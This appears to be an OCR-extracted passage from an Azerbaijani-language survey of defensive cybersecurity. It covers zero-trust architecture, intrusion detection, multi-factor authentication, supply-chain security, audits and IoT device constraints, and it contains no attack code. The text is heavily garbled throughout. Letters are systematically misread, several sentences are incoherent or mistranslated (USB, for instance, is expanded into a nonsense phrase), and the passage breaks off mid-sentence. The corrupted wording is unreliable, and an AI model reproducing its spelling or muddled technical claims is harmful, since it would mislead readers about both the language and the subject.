tohdidlori qisa miiddoto aradan galdirir, lakin ¢ox kegmodon qalanin qorunmasi iigiin
biitlin cohdlori yenidon logv edon yeni tohdidlor ortaya ¢ixir. Askar edilmis zoiflikloro
qars1 ¢ixmaq li¢ilin hor dofo yeni bir texnologiya totbiq edildikdo, sistemin zoifliyini
cotinlosdirir, bahalasdirir vo artirir.

Qala yanasmasina alternativlor arasinda soboko seqmentasiyasi, sifir giivon
arxitekturasi (ZTA) vo miiossiso saviyyasinda tohliikesizlik (ELS) var(Jason Andress,
Steve Winterfeld, Cyber Warfare (2011)).

Soboko seqmentasiyasi bir sobokonin bir neg¢o alt sobokoya vo ya seqmento
béliinmasi va bu seqmentlora girisin idaro edilmosi terminidir. Umumiyyatls, bu,
saboko seqmentlori arasinda trafikin boliinmasini vo tohliikasizlik divarlari va ya digor
tohliikasizlik vasitalari ilo seqment siyasatlorinin totbiq edilmasini shato edir. Tipik
seqmentasiya sokil 3-do gostorilmisdir. Seqmentasiya fiziki alt sobokolorin vo ya
virtual lokal sobokslorin (VLAN) istifadasini ohato eds bilor. VLAN sabokoalori tez-tez
daxil olan fiziki portlarin MAC iinvanlarii va ya ndmralarini istifads edir vo an yaxsi
halda kompiiter soviyyasindo tohliikosizlik tomin edir. Onlar sorgu edon torofin
etimadnamosing vo ya resurslara girig imtiyazlarina osaslanaraq forq qoymurlar.

Sobokonin seqmentasiya daracasi iki oks amil ilo miisyyan edilir: resurslarin
miixtolif seqmentloro boliinmasi vo resurslarin bir seqment daxilindo birlogmosi.
"Makro seqmentasiya" va "mikro seqmentasiya" terminlori bu spektrin forgli toraflorini
keyfiyyotco tosvir edir. Extreme makro seqmentasiyasindan istifado edorok biitiin
miiossisa {liglin "qala" sistemi yaradiriq. Extreme mikrosegmentasiyasindan istifads
edarak, har bir son noqtenin ayr1 bir gala kimi goriindiiyii bir son néqte qoruma sistemi
qururuq. Real diinyadaki totbigetmalorin oksoriyyoti bu hodlor arasindadir vo hor biri
miioyyan miqdarda resurs ehtiva edon bir nega seqmenti shats edir(N. Wagner (2016)).

ZTA, sobokodoki tohdidlorin iifliqi horokoti ilo miibarizo aparmaq {iclin

hazirlanmigdir. ZTA " he¢ vaxt glivonmoyin, homiso yoxlayin "prinsipino osaslanir.
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ZTA, miidafioni soboko perimetrlorindon istifadogilors, aktivloro vo monbalors Gtiiron
bir paradigmadir. Mesajda istirak edon har bir toskilat, qarsiligl slagads olduglar
torofin taninmis bir togkilat olduguna vo xiisuson mesajin nazords tutulduguna omin
olmalidir. Giris vo imtiyazlar yalniz giris vo imtiyaz etimadnamasi toqdim edildikds,
tosdiglondikdo tosdiglonmis istifadogiyo verilmolidir. Nohayot, biitiin mesajlar
sifrolonmoli vo mesaj alicisina alinanlarin hoaqigoton gondorildiyini yoxlamaga imkan
veran biitovliik qorunmasi ilo tomin edilmolidir.

Obyektlor aktiv vo ya passiv ola bilor. Passiv obyektloro yaddas elementlori,
marsrutlasdiricilar, simsiz girig noqtalori, bazi tohliikosizlik divarlari vo veb xidmaotlori
vo ya veb totbiglori liclin 0zlori sorgu baslatmayan vo ya cavab vermoyon digor
obyektlor daxildir. Passiv Obyektlor totbiq gatinin mozmununa baxmir, yaratmir vo
doyisdirmir. Aktiv Obyektlor totbiq soviyyali xidmatlar tolob edon vo ya togdim edon
obyektlordir. Aktiv obyektlors istifadagilar, tatbiglor vo xidmatlor daxildir. Biitiin aktiv
obyektlords identifikasiya molumatlar1 var. Aktiv obyektlor arasinda slago yoxlanila
bilan va etibarli soxsiyyatlordan istifado edarak ikitorafli ucdan uca identifikasiya tolab
edir(Scott Rose, Oliver Borchert, Stu Mitchell, and Sean Connelly (2020)).
Hiicumun askarlanmasi va qarsisinin alinmasi sistemlori

Kiber tohliikasizlik tohlili tohdidlari prognozlasdirmag, miioyyanlosdirmak,
xarakterizo etmok vo onlarla miibarizo aparmaq li¢lin genis molumatlara asaslanir.
Molumatlarin  miqdart  vo  miirokkobliyir artdiqca, insanin biitiin  soylori
kibertohliikasizliyin aktual problemlorini holl etmok {li¢lin kifayst deyil. Kompiiter
toplama, saxlama vo islomo sahosindoki son inkisaflar, ml-nin miirokkob niimunalori
vo meyllori insanlardan daha somorali vo daha siiratli miioyyonlogdirmak iigiin totbiqini
asanlagdirdi(Louise Leenen and Thomas Meyer (2019)).

Bir-biri ilo alagali movzular, sistemlori tohliikasizlik tshdidlorindon qorumaq
liclin giiclii vasitolor yaratmagq li¢lin onlayn tohliikasizlik hallori vo totbiqlori tolob edir.
on moshur metodlardan biri - IDS-sistemlorin  monitoringi  vo Moaxfilik
anomaliyalarinin vo ya pozuntularinin agkarlanmasi ii¢lin nazords tutulmusdur. Bu
sistemlor, qurgular vo ya program tominati tohliikosizlik pozuntularinin vo ya

insidentlorinin garsisini almagq, saxlanilan molumatlarin, informasiya sisteminin vo ya
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sobokonin zodolonmosino sobob olan hor hansi icazosiz girisi izlomok vo cavab
vermokdon masuldur(Hung-Jen Liao, Chun-Hung Richard Lin (2013)).

Bu giino godor togdim olunan miidaxilonin agskarlanmasi hollori real miihit ii¢iin
biitiin tolobloro cavab veron bir sistem yaratmaga imkan vermir. ©Oslindo,
kibertohliikosizlikdo anomaliyalarin askarlanmasi balanssiz vo dinamik bir saho ilo
olagodardir, burada on az gozlonilon natico boyiik ohomiyyot kosb edir, potensial olaraq
performansini azaldir vo tohliikosizlik sistemini tohliiko altina alir. Ustolik, real vaxt
rejiminds Iot miihitinin tohliikasizliyi ils bagli mohdudiyyatlor effektiv hallor tomin
etmok tiglin effektiv hesablama yanagmalarinin totbiqini tolob edir. Miiasir hollor tez-
tez Oyronmo, prognozlasdirma vo aktiv reaksiya arasindaki gecikmo miiddotini nozors
almadan doaqiqliys yonoaldilmisdir(Ahmed Adnan, Abdullah Muhammed (2021)).

Miidaxilonin askarlanmas1 sistemlori, kompiiter qovsaqlarindan vo ya
sabokolordon alinan molumatlari toplamaq, emal etmok vo tohlil etmak, infrastruktur
daxilindo vo ya xaricindo bas veron hiicumlar da daxil olmaqla tohliikasizlik
pozuntulart kimi zororli horokotlori askar etmok iiglin hazirlanmis timumi kiber
tohliikosizlik mexanizmloridir. Malumat monboyina vo nazordon kegirilmis foaliyysto
g0ra, oan ¢ox yayilmis hallor host asasl miidaxilonin askarlanmasi sistemlori (HIDS) vo
soboko miidaxilo agkarlama sistemlori (NIDS). Tohlil olunan mslumatlarin novlorina
osaslanan basqa bir tosnifat, miixtolif soviyyalordo - soboko, niive vo totbigetmoado
coxsayli ixtisaslagsmis detektorlarin istifadosi ilo edilo bilor vo naticado kiberhiicumlari
daha effektiv askar etmok {iclin ovvolki metodlart vo digor tohliikesizlik
mexanizmlarini birlogdiran hibrid miidaxilo agkarlama sistemi yaradilir(Emmanouil
Vasilomanolakis, Shankar Karuppayah (2015)).

Kritik infrastruktur kibertohliikasizliyinds insan faktorlar

Miiasir kibertohliikasizlik tohsilinin axtardigi kibertshliikasizlik miihitindo
insanlardan moalumat toplamaq vo ya kibertohliikosizlik todqgiqatlar: {i¢iin taksonomiya
yaratmagq li¢iin tartibat¢ilarin istifads etdiyi metodologiyalara digqgat yetiron bir ne¢a is
var. Ancaq "bir-biri ila alagali insan" problemi boyiik 6l¢iide nazaras alinmir, buna goéra
ds insan amilinin kibertohliikasizlik tadqiqatlarinin hazirki vaziyyati va galacak ticilin

hanst dorslorin  yronilo bilocoyi barodo az sey molumdur. Insan morkozli
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kibertohliikosizliyin doqiq konsepsiyasi geyri-miioyyondir vo insanlar vo texnologiya
arasindaki 6ziinomaxsus alaqasi sababindon miisyyon etmok ¢atindir.

Istifadoci komponenti miioyyon bir moqgsadlo kibertohliikosizlik sistemi ilo
qarsiligh alago qurur. Bu ciir sistemlorlo tocriibalorino, demogqrafik gostoriciloring,
kegmis tocriibolorino vo kibertohliikasizlik konsepsiyasinin miinasibatlorino vo
qavrayislarina (psixoloji amilloro) goro miixtalif ndv ola bilorlor. Kibertohliikosizlik
sistemi osason hom texniki, hom do geyri-texniki funksional aspektlorlo, hamginin
istifadogilori qorumaq iigiin totbiq edilmoli olan sosial-texniki funksiyalarin birlosmasi
ilo baghdir (Kanthamanon, P. (2021, June)).

Kiber davamliliq vo falakatlorin barpasinin planlasdirilmasi

Hazirlig-kiberhiicuma  hazirhig-hadisays  hazirlasmaq  liciin ~ potensial
kiberhiicumun planlagdirilmasini, prognozlasdirilmasini vo prognozlagdirilmasini
ohato edir. Buraya no edilmosi lazim oldugu, kiberinsident, kiber tohlilko vo ya
kibernetik sistem vo infrastrukturun islomomosi halinda hansi ardicilligla vo kim
torofindon edilocoyi do daxildir. Kiber barpa vo borpanin hoyata kegirilmasinds,
istismarinda vo hoyata kegirilmasindo riayst edilmoali olan prinsiplori, proseslori vo
prosedurlari ohato etmosoydi, kiber borpa hazirligi natamam olardi. Kiberhiicum
todbirlorinin effektiv olmasi tigiin tolim, koordinasiya vo idaroetma Biitiin faaliyyot
saholorini ohato etmolidir. Hor hansi bir kiber miigavimot todbirlorinin (mosalon,
nozarat) effektivliyi yalniz fiziki sahani deyil, hom do molumat, idrak vo sosial kimi
digor sahoalordoki toloblori do nozaora almalidir. Kiber sabitliyi tomin etmok {iciin
kiberhlicumlara, hadisalora, folakatlors vo ugursuzluglara qarsi ¢ixmagq, kiberinsident,
sistem komponentlorinin siradan ¢ixmasi vo ya funksionalligin itirilmosi soraitinds is
omoliyyatlart vo xidmatlorini dostoklomok demokdir. Borpa-kiberinidentdon sonra
barpa vo kiberinidentliyin tomin edilmasinds Nasazliq — biitiin amsliyyatlarin,
xidmotlorin vo funksional imkanlarin kiberinident zamani vo ondan sonra ilkin
vaziyyatina qaytarilmasi demakdir. Uygunlagma — kiber tolerantligi tomin etmak iigiin
kiberinidentdon sonraki vaziyysto uygunlagma-kiberinidentdon sonra Oyronilon
dorslordon oldo edilon xidmot, omoliyyat, proses vo nozarstdoki doyisikliklar,

doyisikliklor va tokmillogdirmolor demokdir.
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Osas komponentlor:

Soxsiyyet ¢cor¢ivonin ilk asas komponentidir. Kiber hadiso, kiber hiicum, molumat
pozuntusu vo ya ohomiyyatli bir kiber hiicum hadisasi halinda dorhal barpa edilmoli
olan toskilatin kritik vo osas texniki vo geyri-texniki varliqlarin1 miioyyonlosdirmayi
hadaflayir. Magsad, amaliyyat sisteminin tasnifatindan asili olmayaraq hadisalorden
sonra borpa olunmasina komok etmosidir. Kibertohliikosizlik {li¢iin miixtolif tosnifat vo
tosnifat sxemlori movcuddur vo bu saha ilo maraqlananlar

Nozarot ¢or¢ivonin ikinci osas komponentidir. Osas diqqet, toskilatin
kiberhiicumdan qurtulmasina nozarot vasitolorini vo bu nozaratlorin togkilatin
kiberhiicumdan qurtulmasina na doracods kdmok edo bilocoyini anlamaqdir. S6hbat
kiberhiicum, kiberinsident, kiberhiicum, molumatlarin pozulmasi vo ya ohomiyyatli
kiberinsidentdon sonra tam sagalmani dostokloyon vo tomin edon tadbirlordon gedir.

Xorito-Bu asas komponent, kritik aktivlori asililiglart vo togkilatin dayeri ilo
mugayisa etmok, aktivlari prioritetlogsdirmak va kiberhiicumlar halinda barpa ardicillig
va qaydasti {i¢iin nazords tutulmusdur.

Plan-gar¢ivonin bu komponentinin asas diqqati barpa planinin, proseslarinin vo
prosedurlarinin yaradilmasi, hom¢inin maraqgli toroflorin (daxili vo xarici) vo onlarin
rolu va vazifalorinin miisyyanlasdirilmasidir ki, bu da barpa moagsadlari {i¢iin kiber
insident halinda olago saxlanmalidir. Borpa plani, bir toskilatin is sistemloring
kiberhlicumlarin tosirlorini miioyyonlogdirmasino, yumsaltmasina vo onlardan
qurtulmasina imkan veran addimlar toplusudur.

Playbook, miixtalif név kiberinidentlora hazir olmaq iigiin ovvolcodon yerino
yetirilmoali olan "no olarsa" vo "kiber miiharibalor" ssenarilori, habelo xidmatlorin
normal islomosini borpa etmok Tlciin istifado edilmoli olan borpa iisullar1 vo bu
voziyyatlordon hor hansi birinds hoyata kegirilo bilocok hor hansi bir fovgolado todbir
hagqinda tam sonadlordir. tam borpa tamamlanana vo ya Vo kim torofindon hoyata
kecirilmali olan logv prosedurlart yerino yetirilono qodor xidmaoti suboptimal
voziyyatdo idars edin.

Olgli-gostoricilori miioyyonlosdirir, mosolon Tomir vo istismar soviyyasi

miigavilalori, osas performans gostoricilori vo barpa mogsadlori, barpa isinin ugurlu
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olub olmadigim1 miioyyon etmok iigiin istifado edilocok, bu da Xidmotin golocok
uygunlasmasi vo ya barpa yanagmasi, idaroetmo vo imkanlar {i¢lin osas olacaqdir.

Test-barpa nazaratinin effektivliyini vo miivafiq barpa imkanlarini tomin etmok
liclin hoyata kecirilmoli olan bir sira testlori ohato edir. Borpa testinin davamli
aparilmasi tovsiya olunurf4].

Cox faktorlu dogrulama (MFA)

Cox faktorlu dogrulama nodir?

Cox faktorlu dogrulama istifadoginin soxsiyyatini tosdiq etmok {i¢lin birdon ¢ox
tosdiq etmo metodundan istifads edon hesab girisi prosesidir. Cox faktorlu tosdigloma,
istifadocinin  soxsiyyetini dogrulamaq {gciin forqli kateqoriyalarin  miistaqil
molumatlarindan istifade edir: istifadoginin bildiy1 (parol kimi), istifadaginin sahib
oldugu (tohliikasizlik tokeni kimi), vo ya istifadocinin oldugu (biometrik tosdigloma
metodlari il9).

MFA, istifadoagi tasdiglomonin bir negoa forqli metodunu toklif edir. MFA-nin
mogsadi, alavo bir tohliikasizlik qati1 yaratmaqdir ki, bu da tohliikesiz olmayan bir
soxsin hadafa, masalan, bir fiziki movqge, hesablama qurgusu, sabaka vo ya verilonlar
bazasina giris etmosini daha ¢otin edor. Bir faktor pozuldugu va ya qurildig1 toqdirdo,
hiicumgu ugurla hadofs daxil olmadan avvalcadon on azi bir vo ya daha ¢ox maneoys
sahib olacaqg.

ovvallor, MFA sistemlari adoton iki faktorlu tosdigloms ilo alagelondirilirdi. Son
giinlar, saticilar her hansi bir hiicumu azaltmaq ticiin iki vo ya daha ¢ox kimlik tasdiqini
tolob edon hor hansi bir tosdiq etmo somasii "c¢ox faktorlu" adlandirmaqda artiq
istifado edirlor. Cox faktorlu tasdigloms, bir kimlik vo giris idaraetma ¢gor¢ivasinin asas
hissasidir.

Cox faktorlu dogrulama niys 6namlidir?

on boylk catismazliglardan biri, ononovi istifadogi ad1 vo parol girislorinin
asasinda parollarin asanliqla pozulabilon olmasidir ki, bu da toskilatlar1 milyonlarla
dollar itkisi ilo qarsilagdira biler. Brutefors hiicumlari da reallasan bir tohliikadir, ¢iinki

pis aktorlar istifadaci adlar1 vo parollarin miixtalif kombinasiyalarini toxmin etmak
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liclin avtomatlasdirilmis alotlor istifado edorok dogrusunu tapana godor toxmin edo
bilorlor.
Molumat faktoru:

Molumat asasli tosdiqlomo adoton istifadoginin soxsi tohliikosizlik sualina cavab
verilmosini tolob edir. Malumat faktoru texnologiyalar1 timumilikds sifralori, dord
rogomli soxsi identifikasiya nomralorini (PIN-lor) vo bir dofolik sifralori (OTP-lor)
daxil edir.

Miilkiyyst faktoru:

Istifadogilor giris etmak {igiin moxsus bir seyo malik olmalidirlar, mosalon, nisana,
token, agar fob vo ya mobil telefon abonent toyinat modulu (SIM) kart1 kimi. Mobil
tosdigloma iiciin, bir smartfon adston bir OTP totbiqati ilo birlosdirilmis sokildo
miilkiyyat faktorunu tomin edir.

Miilkiyyat faktoru texnologiyalar asagidakilardir:

Tohliikosizlik tokenlori, istifadoginin soxsi molumatlarini saxlayan vo bu soxsin
kimliyini elektronik olaraq dogrulamagq tigiin istifads edilon kicik hardware cihazlardir.
Cihaz bir smart kart vo ya Beynelxalq Marsrut seriyasi (USB, Universal Serial Bus)
siirliciisti kimi bir obyektin i¢gindo yerloson cip ola bilar.

Program tokenlori, bir dofalik giris PIN-1 yaradan proqram asaslh tohliikesizlik
totbiqloridir. Program tokenlori ¢ox faktorlu mobil tosdigloma tligiin ¢ox istifado edilir,
burada cihaz 6zl -- masoalon, bir smartfon -- miilkiyyat faktoru tosdiqini tomin edir.

Tipik miilkiyyat faktoru istifada¢i senarilori asagidakilardir:

Mobil tosdigloma, nohayot istifadogilors giris verilmosi {li¢lin smartfonlarinda bir
kod almasi -- istifadagiya bir out-of-band metodu kimi gdndarilon matn mesajlari vo
telefon zanglori, smartfon OTP totbiqlori, SIM kartlar vo autentifikasiya vo molumatlar
saxlayan smart kartlar daxil edilir.

VPN Klientina daxil olmaq {igiin bir OTP yaradan bir USB hardware tokeninin bir
masaiistiino qosulmasi onunla giris etmok lazimdir.

Varislik faktoru
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Istifadoginin daxil olmaq ii¢iin tosdiqlonmis hor hansi bioloji xiisusiyyatlori.
Inherensial faktor texnologiyalarma asagidaki biometrik yoxlama iisullari

daxildir(Kinza Yasar (2023). Multifactor Authentication):

° Retina vo ya iris taramasi.
° Barmaq izi skani.

° Saos identifikasiyasi.

° Ol hondososi.

° Rogomsal imza skanerlori.
o Uziin taninmast.

Tachizat Zancirinin Tohliikasizliyi

Tochizat zoncirinin tohliikasizliyi todartik¢iilorin, saticilarin, loqistik vo
noqliyyatin risk idaragiliyino monfaat yetirir. Bu, todariik zoncirinizin bir hissasi olaraq
xarici togkilatlarla islomaka alagali risklori toyin edir, analiz edir va azaldir. Bu, hom
fiziki tohliikesizlik, ham da program va cihazlar ii¢iin kibertshliikasizliyi shato eda
bilor. Tachizat zoncirinin tohliikasizliyi {iglin miioyyon bir hor hansi bir “bir 6l¢iido hor
kosa uygun” tolimatlar olmasa da, tam bir strategiya risk idare etmo prinsiplorini
kibertohliikasizlik miidafiasi ilo birlosdirmoyi vo hom¢inin hokumat protokollarini da
nazara almagi tolob edir(HPE (2024). What is Supply Chain Security?).

Tachizat zonciri tohliikasizliyi fiziki biitdvliyli qoruyur va kibertohliikalora garsi
miidafio edir. Fiziki tohliikolor horokoat sorbastliyi, subversion vo terrorizm kimi risklori
ohato edir. Togkilatlar fiziki hiicumlar1 takip va nazarat etmok vo normativ sanadlari
yoxlamaq vasitosi ilo azaldarlar. Bu zaman, kibertohliikolor tochizat zonciri
tohliikosizliyi risklorinin 6n planina ¢ixib, komoksiz gotironlori IT vo program
sistemlarinde malware hiicumlari, qorsanliq va icazasiz daxil olma yolu il zaifliklori
ifsa edir.

Rogomsal sahoado tochizat zonciri tohliikosizliyi, ii¢lincii torof programlarin

istifadosi 1lo yanasi, is toskilatlari, todariikgiilor vo borpa edonlor arasinda yaxin
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omokdasligi da ohato edir. Hossas molumatlarin paylasilmasi vo sobokalorin
birlogdirilmasi zamani, bir zorar verilmosi daha genis bir auditoriyaya tosir eds bilor.

Tachizat zoncirini tohliikalordon vo digar potensial masalalorden tanimagq {iciin
risk idaroetma prinsiplori sizin strategiyo rohborlik edo bilor. Dorin miidafio strategiyasi
timumi tochizat zonciri tohliikosizliyini ciddi doracado artira bilor. Tochizat zoncirini
tohliikolordon qorumagq ii¢lin on yaxs1 tocriibolor asagidakilardir:

- Gondarislorin geyd vo 1zlomasi

- Kilidlor vo miizakirasiz dasinma nisanlar1 istifado etmo

- Sirkotlor vo anbarlarin nozarati

- Arxa fon yoxlanmalarinin tolabi

- Akkreditli vo sertifikath todariik¢iilordon istifade etmok

- Tohliikosizlik strategiyasi qiymatlondirmalori aparmaq

- Giris va zaiflik testlori aparmaq

- Dogrulanmis malumatin géndorilmosi

- Icazalor va ya rol asasl verilonlors girisin totbigi

- Tadartik¢iilor va barpa edonlordon minimum kibertahliikasizlik talab etmak

- A¢1q monbalar vo todariik¢li manbalorinin diizgiin audit edilmasi

- Saboka saviyyesinda skan, davranig analizi vo daxil olma askar etma

- Tohliikolorin askar edildiyi zaman cavab plan1 formalagdirmaq

- Hokumot tolimatlar1 v tonzimlomoalori maslahatlosmok
Iscilorin Talim vo Maariflondirmasi Programlari

Kibertohliikosizlik maariflondirmasi sirkotlor ii¢iin on vacib amillordon biridir,
clinki iscilorin tohliikasizlik haqqinda az biliklori sirkat tigiin kiber risklora sobab olur.
Bu risklar iso togkilatlar vo miiossisalor ti¢iin ¢ox kritikdir.

Beloliklo kibertohliikosizlik maariflondirmo tolimi toskilatlarin  risklorini,
tohdidlorini aradan qaldirmaq vo iscilori daha tohliikesiz addimlar atmaq f{igiin
maariflondirir.

Bu tolim iscilora diizgiin kibergigiyenani, kiber risklori tanimaga, qarsilasa
bilacoklori kiberhiicumlart miioyyan etmoys kdmok edir.

Kibertohliikasizlik maariflondirms tolimina asagidakilari aid etmak olar:
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- Soxsi molumatlarin qorunmasi.

- Parollarin tohliikasizliyinin artirilmasi.

- Ictimai yerlordo internetdon istifada qaydalari.

- Sosial muhandisliyi hiicumlart haqqinda molumatlandirlmasi. (Phishing,
Smishing, Vishing va s.)

- Bank hesablarmin tohliikasiz istifadosi.

-CEO fraud - Menecerlora yonoalon kiber hiicumlar1 (cybersign (2023).
Kibertohliikasizlik Maariflondirma Talimi Niya Onamlidir?).

Siini intellekt vo Masin Oyranmasindan istifada

Kibertohliikosizlikdo Siini Intellekt vo Masmn Oyronmosi bazarinin hacminin
2032-ci ila gador 102,78 milyard ABS dollarina ¢atmasi vo 2023-2032-ci illor arasinda
illik orta artim tempinin (CAGR) 19,43% olmas1 gozlonilir. Bazarin bdyiimasini tomin
edon asagidaki amillordir —

* Artan kiberhtcumlar

* Bulud hesablama tatbiqinin artan gobulu

* IT infrastrukturunun artan kompleksliyi:

* Molumatlarin qorunmast ii¢iin artan ehtiyag

* Hokumaot tonzimlomalori

* [oT va alaqgali cihazlarin artan gebulu

* Artan kiberhiicumlarin sayinin artmasi

* Molumat gizliliyi va tohliikasizliyi ila bagl artan narahatliglar

» Avtomatlasdirma va effektivlik ehtiyaci.

Kibertohliikosizlikdo Siini Intellekt vo Masin Oyronmosi bazar1 komponent,
yerlosdirmo rejimi, toskilat Olgiisii, sonaye sektoru vo bolgoyo goro boliiniir.
Komponent baximindan, bazar proqram tominati vo xidmatlora boliiniir. Yerlosdirmo
rejimi baximindan, bazar yerli (on-premises), bulud osasli (cloud-based) vo hibrid
olaraqg bolundir.

2023-cii ildo Simali Amerika Kibertohliikosizlikdo Siini Intellekt vo Masm
Oyronmosi bazarmin on bdyiik payma malik olmas1 gozlonilir. Bu bolgads bazarin

bdylimasi bir ¢ox texnologiya sirkatlorinin mévcudlugu, yeni texnologiyalara avval
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gobul vo kibertohliikosizlik tohliikolorinin artan forqli olunmasi ilo olagolondirilir.
Avropa Kibertohliikesizlikdo Siini Intellekt vo Masin Oyronmosi iigiin ikinci on bdyiik
bazaridir(Rishabh Bhardwaj (2023). Al & ML in Cybersecurity).

Tohliikasizlik Auditi vo Riskin Qiymatlondirilmasi

Tohliikesizlik Auditi vo Riskin Qiymatlondirilmasi nadir? Tohliikasizlik Auditi
“konar torof (yoni, auditor) torofindon hoyata kecirilon toskilatin tohliikosizlik
voziyyatinin  miistoqil  qiymeotlondirilmosi” kimi  miioyyon edilir.  Riskin
Qiymotlondirilmosi, digor torofdon, "mogsodlora catmaq {i¢iin potensial risklori
mioyyon etmok ii¢lin bir prosesdir". Basqa sozlo, Tohliikosizlik Auditi toskilatin
tohliikosizlik todbirlorinin adekvat olub-olmadigini qiymotlondirmoak {igiin istifads
olunur, Risk Qiymatlondirilmasi iso tohliikasizlik pozuntularina ssbab ola bilocok
potensial tohdidlori vo zaifliklori miioyyan etmok {iciin istifado olunur. Tohliikasizlik
Auditlort vo Risk Qiymatlondirmalort Niys Vacibdir? Tehliikasizlik Auditlori ve
Riskin Qiymotlondirilmasi vacibdir, ¢iinki onlar toskilatlara kibertohliikosizlik
tadbirlorinin lazimi saviyyado olmasimi va Tohliikesizlik pozuntularina sabab ola
bilacak har hansi potensial risklordon xobardar olmasini tomin etmoys komok edir.
Tohliikasizlik Auditlori vo Risk Qiymoatlondirmalori hoyata kegirmoyon toskilatlar
molumat itkising, maliyys itkiloring vo tomir olunmayan zadslora sabab ola bilacok
tohliikasizlik pozuntular {igiin daha yiiksok risk altindadirlar(techstarters (2024)What
is A Security Audit & Risk Assessment?).

Saboka Tohliikasizliyi Auditini na vaxt hayata kecirmoliyik?

Toskilatlar soboko tohliikasizliyi auditini ugurla hoyata kegirmozdon avval, ohato
dairasini basa dismoliyik. "Soboko tohliikosizliyi auditi" terminini bolsok, biz
asagidakilarla qaling:

Sobako — Informasiyanin &tiiriilmasi vo qabulu {iciin istifade olunan kabellor vo
digor vasitalorls bir-birine baglanan kompiiter vo avadanliqlarin macmusudur.

Tohliikasizlik — Manfi va ya tohliikali veziyystdon qorunmaq iiclin goriilon
todbirlor.

Audit — razilagdirilmig standartlar toplusunun rosmi miiayinasi vo tasdiqi.

Tohliikasiz Sabako Arxitekturasi
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Sobokolorin 6z dizaynina daxil edilmis tohliikosizlik olmalidir. Soboko
tohliikosizliyi arxitekturasi togkilatin kibermiidafiosi li¢iin osas yaradir vo sirkatin biitiin
IT aktivlorini qorumaga kdmok edir. Burada biz soboka tohliikosizliyi arxitekturasinin
komponentlorini, onun bizneslora faydalarim1 vo tohliikosiz soboko arxitekturasinin
yaradilmasi tigiin miixtolif modellori miizakiro edirik.

Sabako Tohliikasizlik Arxitekturasi Elementlori

Soboka tohliikosizlik memarligi, asagidaki kimi hom soboko, hom do tohliikosizlik
elementlorini ohats edir:

» Saboko Elementlori: Soboko diiymolori (kompiiterlor, ruterkalar, kimi), slaqo

protokollar1 (TCP/IP, HTTP, DNS, kimi), alago media (tellor, radiosignal), vo

topologiyalar (sobako, ulduz, ol xatti, kimi).

» Tohliikasizlik Elementlori: Kibertohliikosizlik cihazlari vo proqramlari,

tohliikasiz alago protokollart (masalon, IPsec VPN va TLS), vo malumat gizliliyi

texnologiyalar (siniflondirmo, sifroloma, acar idaragiliyi, kimi).
Saboka Tohliikasizlik Arxitekturasinin Maqgsadi

Yaxs1 dizayn edilmis bir kibertohliikasizlik arxitekturasi, is tocriibalorini bir vo ya
bir ne¢o infrastruktur komponentinin sohv etmosi vo ya kibertocaviiz bag verdiyindo
mohkomlondirmays imkan verir. Arxitektura normal 15 amaliyyatlar1 zamani giindslik
istifado li¢lin optimal olmalidir vo sirkoti miimkiin gobul edilon artiq trafikloro uygun
hazirlamali vo potensial kibertohliiks tohliikolorini dorhal idars etmoys hazirlamalidir.

Bir tohliikasizlik memari, bir toskilatin soboko vo sistemlorino potensial
kibertohliikalori tanimaq vo garsisini almagq ii¢iin masuliyyst dasiyir. Onlarin rolunun
bir hissasi olaraq, tohliikasizlik arxitekturasi bir toskilatin sistemlorina olan tohliikalori
tanimaq vo onlara reaksiya vermok {i¢iin lazimi goriiniirliiyli vo nozarati tomin edon bir
soboko vo tohliikesizlik arxitekturast inkisaf etdirmolidir. Bu, tohliikesizlik
nozaratlorinin maksimum faydasini sirkoto c¢atdirmaq, onlar1 yerlosdirmok {iclin bir
plan hazirlamag: daxil edir.

Check Point Enterprise Security Framework (CESF), bir soboko tohliikasizlik

arxitekturasini inkisaf etdirmok tii¢iin dord asas faza daxil edon bir prosesi toyin edir:
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- Qiymatlondirmok: Bu prosesin moagsadi is vo arxitektura nozaratlori tiglindiir. Bu
faza daxil olan osas addimlar molumatlarin toplanmasi, is modelini yaratmaq vo
risk qiymatlondirmasidir.

- Dizayn: Bu faza tolobloro cavab verorok xiisusi montiqi dizayn planlarini vo
tovsiyalori yaratmaqdir.

- Hoyata ke¢irmok: Bu faza, hom doyorli xidmatlor, partnyorlar, kimi soxslorin do
real hoyat hollori tiglin asag1 soviyyali dizayn detallarin1 slavo etmok vo islomo
sartlorini toqdim etmak ti¢lin nozordo tutulmusdur.

- Idaro etmok: Bu faza, tohliikosizlik mdvqgeyinin daimi inkisafina vo artan
tohliikasizlik movqeyinin doyisdirilmasina hasr edilmisdir (check point (2024).

Network Security Architecture).

Agilh saharlards cihaz tahliikasizliyinin tomin edilmasi

Qorunan fiziki cthazda mdvcud Iot modelindan istifads edorak maxfiliyi qorumaq
¢otindir. 10T cihazlarmm mohdudiyyatlari vo onlarm anonavi kriptoqrafik primitivliyi
ilo bagli problemlor adi Interneto otraf miihiti qorumaq vozifasi qoyur . Oksor
hesablama cihazlarinda potensial tohdidlorin qarsisini almagq {i¢iin batareyanin omrti,
1slomo giicii va giris nozarati kimi ii¢ osas mohdudiyyat var.

Batareya omrii 0T cihazlarmn oksariyyati sistemin tohliikosizliyini tamin etmak
licin tolob olunan mohdud islomo giiciine malikdir vo hoddindon artiq islomo
batareyanin tilkonmaosina sabob ola bilor. Tadqiqatgilar tohliikaesizlik zaifliklorini
aradan galdirmaq ti¢lin i¢ miimkiin strategiya tovsiyo etdilor. Birinci halda, riskli bir
yanasma totbiq etmok ticlin cihazin an kigik tohliikesizlik parametrlorindon istifado
olunur. Bununla birlikdo, tibbi, horbi vo hokumat kimi hossas molumatlarla islomok
tovsiyo edilo bilmoz. Ikinci tovsiyo, cihazin tohliikesizlik xiisusiyyatlorini
qiymoatlondirmak ii¢iin batareyanin doldurulmasi/tutumu ilo slagadardir, ¢ilinki Sl¢iisii
kicik olmalidir. Naticada, cox miirakkab problemlari hall etmak {iciin ehtiyat giic tomin
etmak va ya alava batareyanin tutumunu artirmaq tigiin alavs yer ayrila bilor. Nohayat,

liclincli tovsiyo, istilik, is1q, kiilok vo titroma daxil olmagqla tabii ehtiyatlardan golon
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enerjinin avadanliglart modernlosdirmok vo maliyyo xorclorini azaltmagq tigiin istifado
edilmosini tomin edir.

Hesablama giicii {oT cihazlarinin resurslart mohdud oldugundan, yaddasin az
olmas1 sobobindon ononovi kriptoqrafik hollor uygun deyil. Bundan olavo, cihazlar
inkisaf etmis sifrolomoni yerino yetirmok {i¢iin daha yiiksok hesablama vo saxlama
toloblorini tomin edo bilmoz. Noticodo, hesablama cihazlarinin osas funksionalligini
